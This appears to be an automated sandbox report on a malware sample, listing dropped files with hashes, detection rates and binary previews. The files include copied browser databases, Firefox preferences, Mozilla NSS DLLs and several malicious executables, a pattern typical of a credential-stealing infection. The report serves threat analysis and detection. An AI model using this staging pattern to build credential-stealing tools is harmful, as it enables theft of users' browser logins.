Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDHIDBFBFHIJKFHCGIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJKKKJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIEHIII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIEHIIIJDAAAAAAKECB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJDGDGDHDGDBFIDHDBAFHCAAAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: kqS23MOytx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Z66MsXpleT.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\xprfjygruytr\etzpikspwykg.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\userAFCBFIJEHD.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.984051528678991
Encrypted:	false
SSDEEP:	6144:zKKOAlrAtx7WiWOdkUsn18kq1viAXMFTd7r9pq8CG6UKBqdx7EO:zKLYUtcrOs1yeFRPzbCGQYx7EO
MD5:	087F21847D13D50158683C834471728C
SHA1:	6E0CAF480014EB6239CBE757F9A75E4B5594AE69
SHA-256:	353871B38BB73FFB940B773C92849796C4C71949D5FFC9EA55103A8F41DABB74
SHA-512:	10B6BD132E219FCE9F5AE27B648305E412BBD64FBFABB1C67E99B30CE088914DB0B2D1750861362F28EE6E0FE2301B35878F22D06DE7FC3CF177A4216FBF3DB6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@............`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................S..a.....c?.6..U.CMf'.<.s.oo..<C.q.wN.e..i...e4+...........R..1br...IUU<.N...\|c.VGH...$.&~.+....<38....tR]B.z.4-oC.{......{9...x0w.I7._.;!'q..U...?.`../.+,P.M......8..}.3j.$.Y=2...).W.].tZ.>..g2.i-.....I..[.w.....u..........h..a.3.Q....y.......=c2..n......Q.J>...=.f..w..E-`..../.....'.........g.........$.1sW...........l.....S..>.a.....g.h..zK......._oB3%.c.Z.)V.gg.._..0...;<f..

C:\Users\userCAAKFIIDGI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3rS3zgtrHYzvSBWEegYZ8AEZ.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\E7ZgIS5gIvcD0qYA4MsN8rsr.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oOMgVil3z78TF92yUiI1jBjJ.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9755a01_sbwd[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	212520
Entropy (8bit):	7.967073935527294
Encrypted:	false
SSDEEP:	6144:6iESlaraEqoRhgln8pp/TmFAlswna+STECEO:J7mlN08PCF+aDECEO
MD5:	7FEE72EA1DD13C340355BAA7FE9C574A
SHA1:	27896F73EDDC109BBC669B4B1054A60E0C87BBFC
SHA-256:	A5F93EDE5291955FC129FA0DAE4DC954FD3CA29D2D975DE969DC563C0D10085E
SHA-512:	7B585FCC523E8C64847D1C70F744D4053D03A75C37F76E1264A6165AF8A6E2E9CC73D2677DE24E81C2C4EC665798E05DFF5BC20C3956B7A2901798D090A0D381
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................+... ...@....@.. ...............................K....`.................................X+..S....@..................(&...`...... ............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......x................................................................%..y.....w.U%.B......N2.9p.............@..V.%.%.7...=.:.....u;7.y.&....R.J.[.yA.4-.F... .@.6.n.N..3.9i....w...;p.s.W...m.!.......2.....N....1..~.....}E..~.i=B....t..&bc`w1.{.l..%m.U#8.R...........j&.<.z..x...q.......n..;.t....ue...%r34.Gxu.......U.\.`.......V..,.....tX..\|<........1.^+..?.M...f.!,..v..e..M..f.2....C..`...`....D.#Z.Agp........-+...-...W.....KM._4..".)..O..6.#,..t...I

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9a65b5d_vqwergf[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0502b12496_MKna[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3337480
Entropy (8bit):	7.991842581750626
Encrypted:	true
SSDEEP:	49152:Aa5dRh/rrdcQX7kAmen7jJRkNkdKiJZeKtH0LzHPzkRyq/cHG53IpOMb6tdz6c:Aa5rJ/+ewIH/5dKaZeQH0Lc8GKAdz6c
MD5:	F8AFAFBA3E86D50AD9EDCE1D0EA179AB
SHA1:	DA2A418D7D4F39222D16CFAD8CB381CA53F7339C
SHA-256:	2C52F6D1206BC754C5E3AD485B7406D7D611D7D490A2252A969F2CD874EA9569
SHA-512:	A23D51E4621B9A18D9F99D797BCCF64DED9FDDC0C63CCDA8DF5D1D13C5E35633C14BCB66A3DD1205D07C5C3637A9D58E17794E1E85B9D78E578EC723A708ABC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@...................................2..............................................0...N..........@.2..<..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....N...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66c9d3bd31e56_otraba[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5358592
Entropy (8bit):	6.802676468792409
Encrypted:	false
SSDEEP:	49152:XbmCnE1xZIjbisS54ZMtHnHnHAtNtNtNtOVWIXQhzEcRxGVvqx+rjNk7neIhcyPR:cZIvisRO0EcRxGtyqjYeI1R1c
MD5:	89F3026DEA32A83CC17B59F7590D9467
SHA1:	26133C4416D55DB05059BF81D5D74DB024C184A9
SHA-256:	DBF55DD5C00F37EC49E1B661228ADCC0A286B3EABB35D2F85FC34D82076107F6
SHA-512:	AF4155C731C7F7D398144918767CFB07DCAD45898203F4F25E385BCAFC36246F69A7702482D96A4AC250A04FFF41097E10B503BC9F5F0F41D7E384AF22131275
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
